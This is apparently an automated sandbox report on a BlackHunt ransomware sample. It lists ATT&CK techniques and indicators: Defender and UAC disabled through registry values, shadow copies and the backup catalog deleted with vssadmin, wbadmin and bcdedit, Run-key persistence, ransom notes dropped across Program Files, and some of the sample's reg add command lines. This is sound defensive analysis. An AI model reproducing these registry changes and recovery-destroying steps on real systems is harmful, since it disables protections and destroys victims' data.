f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e

Data Destruction

T1485

pid	Process
4036	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
4660	bcdedit.exe
1472	bcdedit.exe

Renames multiple (513) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
2552	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\E:	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened (read-only)	\??\Y:	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened (read-only)	\??\O:	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened (read-only)	\??\S:	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened (read-only)	\??\J:	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened (read-only)	\??\Z:	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened (read-only)	\??\I:	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened (read-only)	\??\M:	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened (read-only)	\??\U:	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened (read-only)	\??\X:	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened (read-only)	\??\Q:	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened (read-only)	\??\G:	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened (read-only)	\??\K:	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened (read-only)	\??\V:	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened (read-only)	\??\B:	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened (read-only)	\??\W:	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened (read-only)	\??\H:	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\T:	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened (read-only)	\??\P:	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened (read-only)	\??\A:	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened (read-only)	\??\L:	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened (read-only)	\??\R:	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened (read-only)	\??\N:	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Java\jdk-1.8\bin\#BlackHunt_Private.key	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\jpeg.md	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\LICENSE	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\xmlresolver.md	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\Java\jdk-1.8\#BlackHunt_ReadMe.hta	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\resources.jar	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\7-Zip\#BlackHunt_ReadMe.txt	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\dotnet\host\fxr\8.0.0\#BlackHunt_ReadMe.hta	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\Java\jre-1.8\bin\server\#BlackHunt_Private.key	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\#BlackHunt_ReadMe.txt	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_Private.key	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgeCalls.c	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\#BlackHunt_Private.key	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fontconfig.properties.src	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\icu.md	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\hijrah-config-umalqura.properties	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\cursors\#BlackHunt_ReadMe.txt	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\THIRDPARTYLICENSEREADME-JAVAFX.txt	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\#BlackHunt_Private.key	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\icu_web.md	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\cldr.md	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\public_suffix_list.dat	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\pkcs11wrapper.md	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\Java\jre-1.8\legal\javafx\#BlackHunt_ReadMe.hta	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\#BlackHunt_Private.key	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hy.txt	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\relaxngdatatype.md	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\VideoLAN\#BlackHunt_ReadMe.hta	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\US_export_policy.jar	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#BlackHunt_ReadMe.hta	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nl.txt	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\Java\jdk-1.8\include\#BlackHunt_Private.key	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#BlackHunt_Private.key	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sl.txt	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\zipfs.jar	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\Java\jdk-1.8\legal\#BlackHunt_ReadMe.hta	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\US_export_policy.jar	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\ffjcext.zip	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\Java\jre-1.8\lib\jfr\#BlackHunt_ReadMe.hta	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\cursors.properties	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\#BlackHunt_ReadMe.txt	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\ext\#BlackHunt_Private.key	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_LinkDrop32x32.gif	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\Java\jre-1.8\lib\fonts\#BlackHunt_ReadMe.hta	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\Java\jre-1.8\lib\management\#BlackHunt_ReadMe.hta	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\#BlackHunt_ReadMe.txt	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\Java\jre-1.8\#BlackHunt_ReadMe.txt	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\dotnet\host\fxr\6.0.25\#BlackHunt_Private.key	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ko.txt	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\splash_11-lic.gif	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jsse.jar	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\dt.jar	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\cmm\CIEXYZ.pf	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_ja.properties	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\currency.data	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\icu.md	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\cmm\PYCC.pf	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\thaidict.md	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\accessibility.properties	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\management-agent.jar	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File created	C:\Program Files\Uninstall Information\#BlackHunt_Private.key	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\7-Zip\7z.sfx	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\javaws.jar	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
3680	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
1052	vssadmin.exe
1180	vssadmin.exe
4952	vssadmin.exe
4004	vssadmin.exe
3336	vssadmin.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
Token: SeRestorePrivilege	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
Token: SeBackupPrivilege	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
Token: SeTakeOwnershipPrivilege	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
Token: SeAuditPrivilege	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
Token: SeSecurityPrivilege	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
Token: SeIncBasePriorityPrivilege	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
Token: SeBackupPrivilege	1604	vssvc.exe
Token: SeRestorePrivilege	1604	vssvc.exe
Token: SeAuditPrivilege	1604	vssvc.exe
Token: SeBackupPrivilege	3320	wbengine.exe
Token: SeRestorePrivilege	3320	wbengine.exe
Token: SeSecurityPrivilege	3320	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4240 wrote to memory of 396	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	91
PID 4240 wrote to memory of 396	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	91
PID 4240 wrote to memory of 3700	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	93
PID 4240 wrote to memory of 3700	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	93
PID 4240 wrote to memory of 968	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	95
PID 4240 wrote to memory of 968	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	95
PID 4240 wrote to memory of 588	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	97
PID 4240 wrote to memory of 588	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	97
PID 396 wrote to memory of 1012	396	cmd.exe	99
PID 396 wrote to memory of 1012	396	cmd.exe	99
PID 3700 wrote to memory of 1192	3700	cmd.exe	100
PID 3700 wrote to memory of 1192	3700	cmd.exe	100
PID 4240 wrote to memory of 736	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	101
PID 4240 wrote to memory of 736	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	101
PID 968 wrote to memory of 3320	968	cmd.exe	103
PID 968 wrote to memory of 3320	968	cmd.exe	103
PID 588 wrote to memory of 2524	588	cmd.exe	104
PID 588 wrote to memory of 2524	588	cmd.exe	104
PID 736 wrote to memory of 1608	736	cmd.exe	105
PID 736 wrote to memory of 1608	736	cmd.exe	105
PID 4240 wrote to memory of 1244	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	109
PID 4240 wrote to memory of 1244	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	109
PID 4240 wrote to memory of 4720	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	111
PID 4240 wrote to memory of 4720	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	111
PID 4240 wrote to memory of 1852	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	113
PID 4240 wrote to memory of 1852	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	113
PID 4240 wrote to memory of 5080	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	115
PID 4240 wrote to memory of 5080	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	115
PID 1244 wrote to memory of 3876	1244	cmd.exe	117
PID 1244 wrote to memory of 3876	1244	cmd.exe	117
PID 4240 wrote to memory of 3560	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	118
PID 4240 wrote to memory of 3560	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	118
PID 4240 wrote to memory of 3496	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	119
PID 4240 wrote to memory of 3496	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	119
PID 4720 wrote to memory of 1788	4720	cmd.exe	122
PID 4720 wrote to memory of 1788	4720	cmd.exe	122
PID 4240 wrote to memory of 5116	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	123
PID 4240 wrote to memory of 5116	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	123
PID 4240 wrote to memory of 460	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	124
PID 4240 wrote to memory of 460	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	124
PID 4240 wrote to memory of 1640	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	128
PID 4240 wrote to memory of 1640	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	128
PID 1852 wrote to memory of 2860	1852	cmd.exe	127
PID 1852 wrote to memory of 2860	1852	cmd.exe	127
PID 5080 wrote to memory of 876	5080	cmd.exe	130
PID 5080 wrote to memory of 876	5080	cmd.exe	130
PID 4240 wrote to memory of 1444	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	133
PID 4240 wrote to memory of 1444	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	133
PID 4240 wrote to memory of 4432	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	132
PID 4240 wrote to memory of 4432	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	132
PID 3496 wrote to memory of 1480	3496	cmd.exe	134
PID 3496 wrote to memory of 1480	3496	cmd.exe	134
PID 3560 wrote to memory of 2236	3560	cmd.exe	136
PID 3560 wrote to memory of 2236	3560	cmd.exe	136
PID 4240 wrote to memory of 3520	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	137
PID 4240 wrote to memory of 3520	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	137
PID 4240 wrote to memory of 5024	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	138
PID 4240 wrote to memory of 5024	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	138
PID 4240 wrote to memory of 3164	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	141
PID 4240 wrote to memory of 3164	4240	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe	141
PID 1640 wrote to memory of 1732	1640	cmd.exe	142
PID 1640 wrote to memory of 1732	1640	cmd.exe	142
PID 1444 wrote to memory of 1916	1444	cmd.exe	144
PID 1444 wrote to memory of 1916	1444	cmd.exe	144

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe
"C:\Users\Admin\AppData\Local\Temp\f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:396
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3700
- - C:\Windows\system32\reg.exe
